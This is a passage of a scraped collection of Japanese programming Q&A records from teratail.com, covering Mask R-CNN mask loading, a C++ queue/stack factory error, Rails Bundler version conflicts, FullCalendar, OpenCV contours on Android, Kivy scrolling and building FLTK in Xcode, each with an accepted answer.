[ { "text": "\n```\ndef load\\_mask(self, image\\_id):\n \"\"\"Load instance masks for the given image.\n Different datasets use different ways to store masks. This\n function converts the different mask format to one format\n in the form of a bitmap [height, width, instances].\n Returns:\n masks: A bool array of shape [height, width, instance count] with\n one mask per instance.\n class\\_ids: a 1D array of class IDs of the instance masks.\n \"\"\"\n # If not a COCO image, delegate to parent class.\n image_info = self.image_info[image_id]\n if image_info[\"source\"] != \"coco\":\n return super(CocoDataset, self).load_mask(image_id)\n\n instance_masks = []\n class_ids = []\n annotations = self.image_info[image_id][\"annotations\"]\n # Build mask of shape [height, width, instance\\_count] and list\n # of class IDs that correspond to each channel of the mask.\n for annotation in annotations:\n class_id = self.map_source_class_id(\n \"coco.{}\".format(annotation['category\\_id']))\n if class_id:\n m = self.annToMask(annotation, image_info[\"height\"],\n image_info[\"width\"])\n # Some objects are so small that they're less than 1 pixel area\n # and end up rounded out. Skip those objects.\n if m.max() < 1:\n continue\n # Is it a crowd? If so, use a negative class ID.\n if annotation['iscrowd']:\n # Use negative class ID for crowds\n class_id *= -1\n # For crowd masks, annToMask() sometimes returns a mask\n # smaller than the given dimensions. If so, resize it.\n if m.shape[0] != image_info[\"height\"] or m.shape[1] != image_info[\"width\"]:\n m = np.ones([image_info[\"height\"], image_info[\"width\"]], dtype=bool)\n instance_masks.append(m)\n class_ids.append(class_id)\n\n # Pack instance masks into an array\n if class_ids:\n mask = np.stack(instance_masks, axis=2).astype(np.bool)\n class_ids = np.array(class_ids, dtype=np.int32)\n return mask, class_ids\n else:\n # Call super class to return an empty mask\n return super(CocoDataset, self).load_mask(image_id)\n```\n", "name": "", "is_accepted": true } ]
3c68347d8fbe698c55a8225920f1928d
このプログラムは値を格納する際にキューかスタック化を選択することができます。 ファクトリを作ることは例を見てできたのですが、値の取り出し方が分かりません。 このプログラムをコンパイルすると次のようにエラーが出ます。値を取り出す際にその値のあるオブジェクトを指さなければいけません。その差し方が間違ってるのだと思いますが、直し方が分かりません。 ques12n3s.cpp: In function ‘int main()’: ques12n3s.cpp:145: error: expected primary-expression before ‘;’ token ques12n3s.cpp:147: error: expected primary-expression before ‘;’ token どう直せばいいでしょうか。 ``` #include <iostream> #include <cstdlib> #include <cctype> #include <typeinfo> using namespace std; // 抽象クラス 少なくとも1個の純粋仮想関数を含んでいるクラス class DataStruct { public:     DataStruct *head; // リスト先頭へのポインタ     DataStruct *tail; // リスト末尾へのポインタ     DataStruct *next; // 次項目へのポインタ     int num;    // 格納される値     DataStruct () { head = tail = next = NULL; }     virtual void store(int i) = 0; // 純粋仮想関数 継承されて初めて存在できる     virtual int retrieve() = 0;    // 純粋仮想関数 }; // キュー型リストの作成 class queue : public DataStruct { public:     void store(int i);     int retrieve(); }; void queue::store(int i) {     DataStruct *item;     item = new queue;     if (!item) {         cout << "メモリ割り当てエラー.\n";         exit(1);     }     item->num = i; cout << "キューに格納される値  " << i << '\n';     // リスト末尾に置く     if (tail) tail->next = item;     tail = item;     item->next = NULL;     if (!head) head = tail; } int queue::retrieve() {     int i;     DataStruct *p;     if (!head) {         cout << "リストは空です\n";         return 0;     }     // リスト先頭から取り除く     i = head->num;     p = head;     head = head->next;     delete p; cout << "キューから取り出される値  " << i << '\n';     return i; } // スタック型リストの作成 class stack : public DataStruct { public:     void store(int i);     int retrieve(); }; void stack::store(int i) {     DataStruct *item;     item = new stack;     if (!item) {         cout << "メモリ割り当てエラー\n";         exit(1);     }     item->num = i; cout << "スタックに格納される値  " << i << '\n';     // スタックのような操作になるよう、リスト最前部に置く     if (head) item->next = head;     head = item;     if(!tail) tail = head; } int stack::retrieve() {     int i;     DataStruct *p;     if (!head) {         cout << "リストは空です\n";         return 0;     }     // リスト先頭から取り除く     i = head->num;     p = head;     head = head->next;  delete p; cout << "スタックから取り出される値  " << i << '\n';     return i; } // オブジェクトを作るファクトリ DataStruct *DataStructFactory(char what) {     switch (what) {         case 'q':             return new queue;         case 's':             return new stack;     } } int main() {     DataStruct *p;     char ch;     int i;     // 値を格納     for (i = 0;i < 10;i++) {         cout << "キューかスタックを選択(q/s):";         cin >> ch;         ch = tolower(ch);         p = DataStructFactory(ch);  // 次のオブジェクトを取得する         cout << typeid(*p).name() << endl;         // 値をキューまたはスタックに格納         p->store(i);     }     // 値を取りだす     cout << "Tを入力すると終了します\n";     for (;;) {         cout << "キューとスタックのどちらを取りだしますか(q/s):";         cin >> ch;         ch = tolower(ch);         if(ch == 't') break;         if(ch == 'q') {             p =queue ;         } else {             p =stack ;         }         cout << p->retrieve() << '\n';     }     return 0; } ```
c++ ファクトリでオブジェクトを作成後、そのオブジェクトをポインタで指すには =======================================
teratail.com
2021.31
[ { "text": "このコードだとどういうことがやりたいのかよく判りませんけど・・最初の for ループで queue や stack をループ毎に作成しているようなのですが、それであっていますか? これだと、要素数が1個の queue や stack が合計 10 個作成されるだけですけれども・・\n \n\n \nそれとも、このファクトリは静的な queue や stack のインスタンスを返すのが正しいのではありませんか?\n \n\n \n例えば次のようにです。\n \n\n \n\n```\nDataStruct *DataStructFactory(char what)\n{\n    static queue q;\n    static stack s;\n\n    switch (what) {\n        case 'q':\n            return &q;\n        case 's':\n            return &s;\n    }\n}\n```\n\n \nもし、そうなのだとしたら、main 関数のコンパイルエラーになっている箇所は次のようになります。\n \n\n \n\n```\n    for (;;) {\n        cout << \"キューとスタックのどちらを取りだしますか(q/s):\";\n        cin >> ch;\n        ch = tolower(ch);\n        if(ch == 't') break;\n        //if(ch == 'q') {\n        //    p =queue ;\n        //} else {\n        //    p =stack ;\n        //}\n        p = DataStructFactory(ch);\n        cout << p->retrieve() << '\\n';\n    }\n```\n\n \nただ、これだと **ファクトリ** ではありませんけど・・・\n \n \n", "name": "", "is_accepted": true } ]
3c415e3ca26607e254d12b9ecf7023a5
### 前提・実現したいこと [Ruby on Rails5のチュートリアル](https://railstutorial.jp/chapters/static_pages?version=5.0#cha-static_pages)を使って勉強をしています。 現在第3章まで進み、新しいアプリケーションの作成にあたってGemのカスタマイズを行なっているのですが、**bundle installやbundle updateを実行してもエラーが発生してしまいます。** まだRubyの学習を初めて二週間程度なので野暮な質問かもしれませんが、チュートリアルを進めることができず困っているのでどうかよろしくお願いします。 ### 発生している問題・エラーメッセージ ``` #bundle installを実行した場合 You have requested: listen = 3.0.8 The bundle currently has listen locked at 3.1.5. Try running `bundle update listen` If you are updating multiple gems in your Gemfile at once, try passing them all to `bundle update` #bundle update listenを実行した場合 You have requested: spring = 2.0.2 The bundle currently has spring locked at 2.1.0. Try running `bundle update spring` If you are updating multiple gems in your Gemfile at once, try passing them all to `bundle update` #bundle updateを実行した場合 Bundler could not find compatible versions for gem "bundler": In Gemfile: rails (= 5.0.3) was resolved to 5.0.3, which depends on bundler (< 2.0, >= 1.3.0) Current Bundler version: bundler (2.0.2) This Gemfile requires a different version of Bundler. Perhaps you need to update Bundler by running `gem install bundler`? Could not find gem 'bundler (< 2.0, >= 1.3.0)', which is required by gem 'rails (= 5.0.3)', in any of the sources. Bundler could not find compatible versions for gem "listen": In Gemfile: listen (= 3.0.8) guard (= 2.13.0) was resolved to 2.13.0, which depends on listen (<= 4.0, >= 2.7) spring-watcher-listen (= 2.0.1) was resolved to 2.0.1, which depends on listen (< 4.0, >= 2.7) Bundler could not find compatible versions for gem "spring": In Gemfile: spring (= 2.0.2) spring-watcher-listen (= 2.0.1) was resolved to 2.0.1, which depends on spring (< 3.0, >= 1.2) ``` ### 該当のソースコード ``` source 'https://rubygems.org' gem 'rails', '5.0.3' gem 'puma', '3.9.1' gem 'sass-rails', '5.0.6' gem 'uglifier', '3.2.0' gem 'coffee-rails', '4.2.2' gem 'jquery-rails', '4.3.1' gem 'turbolinks', '5.0.1' gem 'jbuilder', '2.7.0' group :development, :test do gem 'sqlite3', '1.3.13' gem 'byebug', '9.0.6', platform: :mri end group :development do gem 'web-console', '3.5.1' gem 'listen', '3.0.8' gem 'spring', '2.0.2' gem 'spring-watcher-listen', '2.0.1' end group :test do gem 'rails-controller-testing', '1.0.2' gem 'minitest-reporters', '1.1.14' gem 'guard', '2.13.0' gem 'guard-minitest', '2.4.4' end group :production do gem 'pg', '0.18.4' end ``` ### 試したこと ・エラーメッセージに表示された通りに**ListenやSpringのアップデートを試みたのですが、どうやら何度同じコマンドを入力しても、どちらもアップデートされないようです。** ・Bundlerのバージョンを変更するためbundler uninstall -vを実行して、現在は2.0.2, 1.7.8がインストールされています。Gemlfile.lockの**BUNDLE WITHにはバージョン2.0.2と記載されているのでそれに合わせているのですが、メッセージには私が理解する限りバージョンが2以上では高すぎると書かれているので困惑しています。** ・元々のGemfileに記載されていた <コメント>Windows環境ではtzinfo-dataというgemを含める必要があります gem 'tzinfo-data', platforms: [:mingw, :mswin, :x64\_mingw, :jruby] という記述は削除しました。 ### 補足情報(FW/ツールのバージョンなど) ruby 2.5.3p105 (2018-10-18 revision 65156) [x86\_64-darwin18]
Ruby on Railsでbundle installがエラーになってしまう =======================================
teratail.com
2020.50
[ { "text": "\n> \n> メッセージには私が理解する限りバージョンが2以上では高すぎると書かれているので困惑しています。 \n> \n> \n> \n\n\n残念ながらそのとおりで、Rails 5.0.3はBundler 1系列と組み合わせないと動きません。 \n\n\nRails 5.0系列でも5.0.5以上であればBundler 2系列をサポートしているので、少しバージョンを上げてみるといいでしょう。\n\n", "name": "", "is_accepted": true } ]
95d1d10d57666139f97fb7478b4f6d6c
FullCalendarを使ってgoogle calendarに登録しているイベントを取得しています。 例として、日本の祝日なのですが、下記のように記載しました。 ``` eventSources: [ { googleCalendarId: 'ja.japanese#holiday@group.v.calendar.google.com', className: 'event\_holiday', success:function(info) { let event = document.getElementsByClassName('fc-list-event'); console.log(event); console.log(event.length); } } ] ``` その結果、 `console.log(event)`部分の結果↓ ``` HTMLCollection [] 0: tr.fc-list-event.fc-event-forced-url.fc-event.fc-event-start.fc-event-end.fc-event-future 1: tr.fc-list-event.fc-event-forced-url.fc-event.fc-event-start.fc-event-end.fc-event-future 2: tr.fc-list-event.fc-event-forced-url.fc-event.fc-event-start.fc-event-end.fc-event-future 3: tr.fc-list-event.fc-event-forced-url.fc-event.fc-event-start.fc-event-end.fc-event-future 4: tr.fc-list-event.fc-event-forced-url.fc-event.fc-event-start.fc-event-end.fc-event-future 5: tr.fc-list-event.fc-event-forced-url.fc-event.fc-event-start.fc-event-end.fc-event-future 6: tr.fc-list-event.fc-event-forced-url.fc-event.fc-event-start.fc-event-end.fc-event-future 7: tr.fc-list-event.fc-event-forced-url.fc-event.fc-event-start.fc-event-end.fc-event-future 8: tr.fc-list-event.fc-event-forced-url.fc-event.fc-event-start.fc-event-end.fc-event-future 9: tr.fc-list-event.fc-event-forced-url.fc-event.fc-event-start.fc-event-end.fc-event-future.event\_holiday 10: tr.fc-list-event.fc-event-forced-url.fc-event.fc-event-start.fc-event-end.fc-event-future.event\_holiday 11: tr.fc-list-event.fc-event-forced-url.fc-event.fc-event-start.fc-event-end.fc-event-future 12: tr.fc-list-event.fc-event-forced-url.fc-event.fc-event-start.fc-event-end.fc-event-future 13: tr.fc-list-event.fc-event-forced-url.fc-event.fc-event-start.fc-event-end.fc-event-future length: 14 __proto__: HTMLCollection ``` `console.log(event.length)`部分の結果↓ ``` 0 ``` propertyのlengthは取得できないでしょうか… 各`tr`要素について実行したいことがあるのですが、for文やforEachをまわすことができず困っています。
HTMLCollectionのlengthってなになのでしょう? ================================
teratail.com
2020.29
[ { "text": "気になって調べてみたところ、レンダリング前だからみたいです。 \n\n\n[スタックオーバーフロー](https://stackoverflow.com/questions/30211605/javascript-html-collection-showing-as-0-length)\n\n", "name": "", "is_accepted": true } ]
8bb47d3007efea81b9b362794ab36d26
私はandroidstudioでアプリ開発を行っています。 実現したいこと ======= opencvで赤い色を検知して赤色を白に、それ以外を黒にしてそのあとに赤い物の輪郭の中心座標を返したいです。 問題点 === onCameraViewStopped()の中のinRangeで赤を白に、それ以外を黒にすることはできましたがfindContoursがうまくいっていないのか、輪郭に線を引くことができていません。これでは中心点も出せないですよね?実行しても黒と白の映像しか出てきません 当該のコード ====== ``` import android.app.Activity; import android.os.Bundle; import android.util.Log; import android.view.MenuItem; import android.view.SurfaceView; import android.view.WindowManager; import org.opencv.android.BaseLoaderCallback; import org.opencv.android.CameraBridgeViewBase; import org.opencv.android.LoaderCallbackInterface; import org.opencv.android.OpenCVLoader; import org.opencv.core.Core; import org.opencv.core.CvType; import org.opencv.core.Mat; import org.opencv.core.MatOfInt; import org.opencv.core.MatOfInt4; import org.opencv.core.MatOfPoint; import org.opencv.core.MatOfPoint2f; import org.opencv.core.Point; import org.opencv.core.Scalar; import org.opencv.core.Size; import org.opencv.imgproc.Imgproc; import org.opencv.imgproc.Moments; import java.util.ArrayList; import java.util.List; import static org.opencv.core.CvType.CV_8U; import static org.opencv.core.CvType.CV_8UC1; public class MainActivity extends Activity implements CameraBridgeViewBase.CvCameraViewListener { private static final String TAG = "OCVSample::Activity"; int i =0; private CameraBridgeViewBase mOpenCvCameraView; private boolean mIsJavaCamera = true; private MenuItem mItemSwitchCamera = null; private BaseLoaderCallback mLoaderCallback = new BaseLoaderCallback(this) { @Override public void onManagerConnected(int status) { switch (status) { // 読み込みが成功したらカメラプレビューを開始 case LoaderCallbackInterface.SUCCESS: { Log.i(TAG, "OpenCV loaded successfully"); mOpenCvCameraView.enableView(); } break; default: { super.onManagerConnected(status); }break; } } }; public MainActivity() { Log.i(TAG, "Instantiated new " + this.getClass()); } @Override protected void onCreate(Bundle savedInstanceState) { Log.i(TAG, "called onCreate"); super.onCreate(savedInstanceState); getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON); setContentView(R.layout.activity_main); mOpenCvCameraView = (CameraBridgeViewBase) findViewById(R.id.camera_view); mOpenCvCameraView.setVisibility(SurfaceView.VISIBLE); mOpenCvCameraView.setCvCameraViewListener(this); } @Override protected void onPause() { super.onPause(); if (mOpenCvCameraView != null) mOpenCvCameraView.disableView(); } @Override protected void onResume() { super.onResume(); if (!OpenCVLoader.initDebug()) { Log.d(TAG, "Internal OpenCV library not found. Using OpenCV Manager for initialization"); OpenCVLoader.initAsync(OpenCVLoader.OPENCV_VERSION_3_0_0, this, mLoaderCallback); } else { Log.d(TAG, "OpenCV library found inside package. Using it!"); mLoaderCallback.onManagerConnected(LoaderCallbackInterface.SUCCESS); } } @Override protected void onDestroy() { super.onDestroy(); if (mOpenCvCameraView != null) mOpenCvCameraView.disableView(); } @Override public void onCameraViewStarted(int width, int height) {// カメラプレビュー開始時に呼ばれる } @Override public void onCameraViewStopped() {// カメラプレビュー終了時に呼ばれる } @Override public Mat onCameraFrame(Mat inputFrame) { Mat src = inputFrame; Mat dst = Mat.zeros(inputFrame.width(),inputFrame.height(),CV_8U); Imgproc.cvtColor(src, dst, Imgproc.COLOR_RGB2HSV);//HSVに変換 Imgproc.medianBlur(dst, dst, 5); Mat mask = Mat.zeros(inputFrame.width(),inputFrame.height(),CV_8U); Core.inRange(dst, new Scalar(150,100,100),new Scalar(180,255,255),mask); Mat hierarchy=Mat.zeros(new Size(5,5), CvType.CV_8UC1); Mat invsrc=mask.clone(); List<MatOfPoint> contours = new ArrayList<MatOfPoint>(); Imgproc.findContours(invsrc, contours, hierarchy, Imgproc.RETR_EXTERNAL, Imgproc.CHAIN_APPROX_TC89_L1); Scalar color=new Scalar(255,0,0); Imgproc.drawContours(mask, contours, -1, color,1); return mask; } } ``` なぜうまくいかないのかわかる方がいましたらご教授願います。
android opencvで輪郭描画 ===================
teratail.com
2019.43
[ { "text": "\n```\nimport android.app.Activity;\nimport android.os.Bundle;\nimport android.util.Log;\nimport android.view.MenuItem;\nimport android.view.SurfaceView;\nimport android.view.WindowManager;\nimport org.opencv.android.BaseLoaderCallback;\nimport org.opencv.android.CameraBridgeViewBase;\nimport org.opencv.android.LoaderCallbackInterface;\nimport org.opencv.android.OpenCVLoader;\nimport org.opencv.core.Core;\nimport org.opencv.core.CvType;\nimport org.opencv.core.Mat;\nimport org.opencv.core.MatOfInt;\nimport org.opencv.core.MatOfInt4;\nimport org.opencv.core.MatOfPoint;\nimport org.opencv.core.MatOfPoint2f;\nimport org.opencv.core.Point;\nimport org.opencv.core.RotatedRect;\nimport org.opencv.core.Scalar;\nimport org.opencv.core.Size;\nimport org.opencv.imgproc.Imgproc;\nimport org.opencv.imgproc.Moments;\n\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n\nimport static org.opencv.core.CvType.CV_8U;\nimport static org.opencv.core.CvType.CV_8UC1;\nimport static org.opencv.core.CvType.CV_8UC3;\n\n\npublic class MainActivity extends Activity implements CameraBridgeViewBase.CvCameraViewListener {\n private static final String TAG = \"OCVSample::Activity\";\n\n int i =0;\n\n private CameraBridgeViewBase mOpenCvCameraView;\n private boolean mIsJavaCamera = true;\n private MenuItem mItemSwitchCamera = null;\n\n\n private BaseLoaderCallback mLoaderCallback = new BaseLoaderCallback(this) {\n @Override\n public void onManagerConnected(int status) {\n switch (status) {\n // 読み込みが成功したらカメラプレビューを開始\n case LoaderCallbackInterface.SUCCESS:\n {\n Log.i(TAG, \"OpenCV loaded successfully\");\n mOpenCvCameraView.enableView();\n } break;\n default: {\n super.onManagerConnected(status);\n }break;\n }\n }\n };\n\n public MainActivity() {\n Log.i(TAG, \"Instantiated new \" + this.getClass());\n }\n\n @Override\n protected void onCreate(Bundle savedInstanceState) {\n Log.i(TAG, \"called onCreate\");\n super.onCreate(savedInstanceState);\n getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);\n setContentView(R.layout.activity_main);\n\n mOpenCvCameraView = (CameraBridgeViewBase) findViewById(R.id.camera_view);\n\n mOpenCvCameraView.setVisibility(SurfaceView.VISIBLE);\n\n mOpenCvCameraView.setCvCameraViewListener(this);\n }\n\n @Override\n protected void onPause() {\n super.onPause();\n if (mOpenCvCameraView != null)\n mOpenCvCameraView.disableView();\n }\n\n @Override\n protected void onResume() {\n super.onResume();\n if (!OpenCVLoader.initDebug()) {\n Log.d(TAG, \"Internal OpenCV library not found. Using OpenCV Manager for initialization\");\n OpenCVLoader.initAsync(OpenCVLoader.OPENCV_VERSION_3_0_0, this, mLoaderCallback);\n } else {\n Log.d(TAG, \"OpenCV library found inside package. Using it!\");\n mLoaderCallback.onManagerConnected(LoaderCallbackInterface.SUCCESS);\n }\n }\n\n\n @Override\n protected void onDestroy() {\n super.onDestroy();\n if (mOpenCvCameraView != null)\n mOpenCvCameraView.disableView();\n }\n\n\n @Override\n public void onCameraViewStarted(int width, int height) {// カメラプレビュー開始時に呼ばれる\n }\n\n @Override\n public void onCameraViewStopped() {// カメラプレビュー終了時に呼ばれる\n }\n\n @Override\n public Mat onCameraFrame(Mat inputFrame) {\n Mat src = inputFrame;\n Mat src1 = src.clone();\n Imgproc.cvtColor(src, src, Imgproc.COLOR_RGB2HSV);//HSVに変換\n Imgproc.medianBlur(src, src, 5);\n Core.inRange(src, new Scalar(150,100,100),new Scalar(180,255,255),src);\n Mat hierarchy=Mat.zeros(new Size(5,5), CvType.CV_8UC1);\n List<MatOfPoint> contours = new ArrayList<MatOfPoint>();\n Imgproc.findContours(src, contours, hierarchy, Imgproc.RETR_EXTERNAL, Imgproc.CHAIN_APPROX_TC89_L1);\n Scalar color=new Scalar(200,20,100);\n // Imgproc.drawContours(src1, contours, -1, color,10);\n int i=0;\n int index = -1;\n double area = 0;\n for(i=0;i<contours.size();i++)\n {\n double tmp = Imgproc.contourArea(contours.get(i));\n if (area < tmp) {\n area = tmp;\n index = i;\n }\n }\n if (index != -1) {\n MatOfPoint ptmat= contours.get(index);\n color=new Scalar(0,200,0);\n MatOfPoint2f ptmat2 = new MatOfPoint2f( ptmat.toArray() );\n RotatedRect bbox=Imgproc.minAreaRect(ptmat2);\n Imgproc.circle(src1, bbox.center,5, color,-1);\n }\n return src1;\n }\n\n}\n```\n", "name": "", "is_accepted": true } ]
65e348f15d575e0d798a9774e4f9334b
###  前提・実現したいこと KivyのScrollViewの内部で、左クリックによるドラッグ操作を使いたいため、中クリック(ホイールクリック)によるドラッグでスクロールさせたいと思っています。 右クリックで赤い丸が出ないように、 `Config.set('input', 'mouse', 'mouse,disable_multitouch')` でマルチタッチを無効にしたのですが、右クリック、中クリックともに左クリックと同様に扱われてしまいスクロールには使えません。 中クリックは左クリックとは扱わず、スクロール用として使えるようにしたいです。 簡単なScrollViewのコードを載せておきます。 ###  該当のソースコード ``` from kivy.config import Config Config.set("graphics", "width", 600) Config.set("graphics", "height", 600) Config.set('input', 'mouse', 'mouse,disable\_multitouch') from kivy.app import App class TestApp(App): pass if __name__ == '\_\_main\_\_': TestApp().run() ``` test.kv ``` FloatLayout: ScrollView: scroll\_type: ['bars', 'content'] size\_hint: None, None size: root.size GridLayout: rows:2 cols:2 size\_hint: None, None size: 1000,1000 Widget: canvas: Color: rgb: 1, 0, 0 Rectangle size: self.size pos: self.pos Widget: canvas: Color: rgb: 0, 0, 1 Rectangle size: self.size pos: self.pos Widget: canvas: Color: rgb: 0, 1, 0 Rectangle size: self.size pos: self.pos Widget: canvas: Color: rgb: 1, 1, 1 Rectangle size: self.size pos: self.pos ``` ###  補足情報(FW/ツールのバージョンなど) Python: v3.6.5 Kivy: v1.10.0
KivyのScrollViewで中クリックによるドラッグでスクロールさせたい ======================================
teratail.com
2020.05
[ { "text": "コメントだとMarkdown使えないのでこっちに書きますね。 \n\n\n\n> \n> このコードでは確かにそう捉えられてしまいますね、すみません、説明不足でした。 \n> \n> 右クリック・中クリックでも問題なくスクロールできております。 \n> \n> \n> \n\n\nあっ今わかりました。右クリック・中クリックでもボタンが反応してしまうのが困るという意味だったんですよね多分。 \n\n\nKivyにおいてMouseのような画面上の位置を指す類の入力はWidgetTreeの親から子へ順番に伝わっていくので、ボタンの祖先(直接の親とそのさらに上の親達)のWidgetのどれかを右クリック・中クリックを子に伝えないようにすればいいです。ただScrollViewでは中クリックを使いたいはずなので、ScrollViewの子孫でなおかつボタンの祖先であるWidget(上のコードでいうならGridLayout)にそのような仕事をさせてあげればいいです。 \n\n\n具体的には例えば以下のような入力を選別するClassを作って \n\n\n\n```\nfrom kivy.factory import Factory\nfrom kivy.properties import ListProperty\n\n# 入力を選別するClass\nclass TouchFilter:\n mouse_button_filter = ListProperty()\n\n def on\\_touch\\_down(self, touch):\n if touch.button in self.mouse_button_filter:\n return super().on_touch_down(touch)\n\n def on\\_touch\\_move(self, touch):\n if touch.button in self.mouse_button_filter:\n return super().on_touch_move(touch)\n\n def on\\_touch\\_up(self, touch):\n if touch.button in self.mouse_button_filter:\n return super().on_touch_up(touch)\n\n\n# TouchFilterをKv言語でも使えるようにする\nFactory.register('TouchFilter', cls=TouchFilter)\n```\n\nそれを組み込んだGridLayoutを作って、元のGridLayoutと置き換えることで実現できます。 \n\n\n\n```\n<CustomGridLayout@TouchFilter+GridLayout>: # TouchFilterを組み込んだGridLayout\n\nFloatLayout:\n ScrollView:\n 略\n CustomGridLayout: # 元のGridLayoutを置き換える\n mouse\\_button\\_filter: ['left', ] # 子には左ボタンの入力しか伝わらなくする\n 略\n```\n\n\n> \n> 左ドラッグを使いたいという件ですが、ソースコードは載せられないのですが、大まかには「ボタンがたくさん並んでいて、それをドラッグでなぞっただけで動作させたい」という認識で大丈夫です。 \n> \n> on\\_pressだと難しそうなので、on\\_touch\\_downとon\\_touch\\_move内でcollide\\_pointを使って実現しています。 \n> \n> \n> \n\n\nなるほど、わかりました。kivy.uix.button.Buttonを使うか否かは悩むところですね。Buttonの持つ機能の内stateプロパティは役に立ちそうですが、touchに関する処理は全て自前で実装することになりそうなので。\n\n", "name": "", "is_accepted": true } ]
9ee0edac86203a374503fba7b603c68a
xcodeでFLTKのライブラリを使いたいと思っています xcodeにFLTKをインストールする方法を知りたいと思ってます。 下にあるREADME.OSX.txtの4.4以降のやり方などがわかれば できると思うのですが、どうでしょうか ### 発生している問題・エラーメッセージ Undefined symbols for architecture x86\_64: "Fl::run()", referenced from: \_main in main.o "Fl\_Box::Fl\_Box(int, int, int, int, char const*)", referenced from: \_main in main.o "Fl\_Widget::~Fl\_Widget()", referenced from: Fl\_Box::~Fl\_Box() in main.o "Fl\_Window::show()", referenced from: \_main in main.o "Fl\_Window::Fl\_Window(int, int, char const*)", referenced from: \_main in main.o "Fl\_Window::~Fl\_Window()", referenced from: \_main in main.o ld: symbol(s) not found for architecture x86\_64 clang: error: linker command failed with exit code 1 (use -v to see invocation) ### 該当のソースコード C++ include <FL/Fl.H> ================= include <FL/Fl\_Box.H> ====================== include <FL/Fl\_Window.H> ========================= int main() { Fl\_Window window(200, 200, "Window title"); Fl\_Box box(0, 0, 200, 200, "Hey, I mean, Hello, World!"); window.show(); return Fl::run(); } ### 試したこと インストールしたfltk-1.3.4-1の中に入っていた README.OSX.txtの手順の4.3までを行なっって 何をすれば良いか分からず、4.4以降は行なっていないです。 ### 補足情報(言語/FW/ツール等のバージョンなど) 以下、「試したこと」で述べたREADME.OSX.txtです。 README.OSX.txt - 2016-04-01 - Building FLTK under Apple OS X ------------------------------------------------------------ 4  HOW TO BUILD FLTK USING XCODE4 ================================= 4.1  Prerequisites ------------------ In order to build FLTK from within Xcode 4, 5, 6, 7, or 8 you need to install the Xcode developer environment via the Apple App Store that comes with Lion and up. If you also want the command line version of gcc, you can use the Download section in the Preferences dialog. 4.2  Downloading and Unpacking ------------------------------ Download FLTK from here: http://www.fltk.org/software.php If you are familiar with "subversion" and like to stay current with your version, you will find the subversion access parameters at the bottom of that page. You can use the SCM system that is built into Xcode. Unpack FLTK by double-clicking it and copy the new folder into a convenient location. I have set up a "dev" folder in my home folder for all my projects. 4.3  Configuring FLTK --------------------- Launch Xcode. Open the project file in .../fltk-1.3.xxxx/ide/Xcode4/FLTK.xcodeproj There is nothing else to configure. 4.4  Building FLTK ------------------ Use the "Scheme" pulldown menu to change the active target to "Demo" and "My Mac 32-bit" or "My Mac 64-bit". Select "Build for" -> "Running"Run" from the "Product" menu to create all libraries and test applications. By default, the Xcode4 project builds applications that run under Mac OS X 10.5 and above. To build applications that also run under older Mac OS versions, modify the "OS X Deployment Target" item of the FLTK project build settings. All frameworks and apps will be located in a private directory. Use "Window"->"Organizer" to find the full path. 4.5  Testing FLTK ----------------- Select "Run" from the "Product" menu to run the Demo program. Use "Demo" to explore all test programs. 4.6  Uninstalling previous versions of FLTK ------------------------------------------- Remove FLTK frameworks: sudo rm -r /Library/Frameworks/fltk*.framework Remove Fluid and possibly other utilities: sudo rm -r /Applications/FLTK/ 4.7  Installing FLTK -------------------- When distributing FLTK applications, the FLTK frameworks should be made part of the application package. For development however, it is very convenient to have the Release-mode Frameworks in a standard location. For Xcode project template use, all FLTK frameworks should be built using "Build for Archiving" and then copied from "./(Organizer->Derived Data Path)/Release/" to "/Library/Frameworks/". The FLTK header files for all FLTK frameworks will then be at "/Library/Frameworks/fltk.framework/Headers/". Add this path to the header search path of your projects. sudo rm -f -r /Library/Frameworks/fltk* sudo cp -R (Organizer->Derived Data Path)/Release/fltk*.framework /Library/Frameworks/ Many FLTK applications will use Fluid, the FLTK User Interface builder, to generate C++ source code from .fl resource files. Add Fluid to the developer tools: sudo mkdir /Applications/FLTK/ sudo rm -f -r /Applications/FLTK/Fluid.app sudo cp -R (Organizer->Derived Data Path)/Release/Fluid.app /Applications/FLTK/ (TODO: 4.8   Installing Little Helpers) (TODO: 4.9   Creating new Projects) 5  MAKE AN APPLICATION LAUNCHABLE BY DROPPING FILES ON ITS ICON =============================================================== * Prepare an Info.plist file for your application derived from file ide/Xcode4/plists/editor-Info.plist which allows any file to be dropped on the application icon. You can edit this file in Xcode and change Document types/Item 0/CFBundleTypeExtensions/Item 0 from the current "*" to the desired file extension. Use several items to declare several extensions. * Call fl\_open\_callback() at the beginning of your main() function that sets what function will be called when a file is dropped on the application icon. * In Xcode, set the "Info.plist File" build setting of your target application to the Info.plist file you have prepared. * Rebuild your application.
xcode8.2.1でFLTKを使いたいです ======================
teratail.com
2019.51
[ { "text": "一様できました。 \n\n1)FLTKをダウンロードする \n\n2)ダウンロードファイルを解凍して、その中に入っているideファルダーを開く \n\n3)ideフォルダーの中にXcodeのファイルがあるので(この時はXcode4のファイルが入ってました。)、 \n\nそのXcodeのファイルの中にあるFLTKプロジェクトをXcodeで開く \n\n4)メニューバーのProduct > SchemeでターゲットをDemoにしておく \n\n5)メニューバーのProduct > Build for > Runningを実行し、またメニューバーのProduct > Runを実行し、Xcodeを終了する \n\n6)Finderのサイドバーに家のマークがついているタブ(なければ、Finderの環境設定のサイドバーから表示させるように設定する) > Library(なければメニューバーのView > Show View Optionsから表示させるように設定する) > Xcode > DerivedData > 名前がFLTKから始まるファイル > Build > Intermediates > ArchieveIntermediates > Demo > Frameworks内の.frameworkで終わっているものを全てcopyする。copyはFinderのサイドバーからMacintosh HD(なければFinderの環境設定から表示させるように設定する) > Library > Frameworksにしておく \n\n7)FLTKのライブラリーを使いたいプロジェクトをXcodeで開く \n\n8)Xcodeの左サイドバーのプロジェクト名 > General > Linked Frameworks and Librariesで+マークをおす \n\n9)左下にあるAdd Otherから6)で保存したfltk.frameworkたちを加える \n\n10)8)のGeneralまで戻り、Build Settings > Search Paths > Header Search PathsのDebug、Releaseの両方に6)で保存したfltk.framework > Versions > A > Headerのパスを加える(パスの加え方はdrug and dropでもOK) \n\n\nこの手順でできました。 \n\nもしリンクエラーでabi-version.hが見つからないよって言われたら、2)で展開したfltkファイル > FL > abi-version.hを10)の Header(fltk.framework > Version > A > HeaderのHeader)に保存するとできるかもです。\n\n", "name": "", "is_accepted": true } ]
b2cc8f666c26c52fdfef442a76d5cb97
